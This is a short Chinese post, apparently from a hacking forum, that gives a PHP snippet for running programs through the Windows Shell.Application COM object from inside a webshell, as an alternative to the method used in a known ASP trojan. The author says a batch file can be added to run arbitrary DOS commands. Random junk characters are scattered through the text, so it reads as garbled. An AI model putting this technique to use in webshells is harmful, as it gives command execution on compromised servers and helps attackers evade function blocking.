关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
2 i0 ~! K) `3 `# y |8 h
9 t, a6 o/ b4 {6 f, a# U今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法4 o! Y% m/ e; q3 j
7 V5 M" ^4 z2 s4 }<?php
6 V+ O. C% A: B$wsh = new COM('Shell.Application') or die("Shell.Application");# k. W. u$ c# @( l& l" q: v3 m
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");8 L! F! W- G% F F0 @
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。6 a) m' B" I! f8 v
?>
Y. D* R5 e; V' }) g2 ~. U8 A8 X" l) A
xp+APMServ5.2.0测试通过。
" |) |& E+ J) E$ q |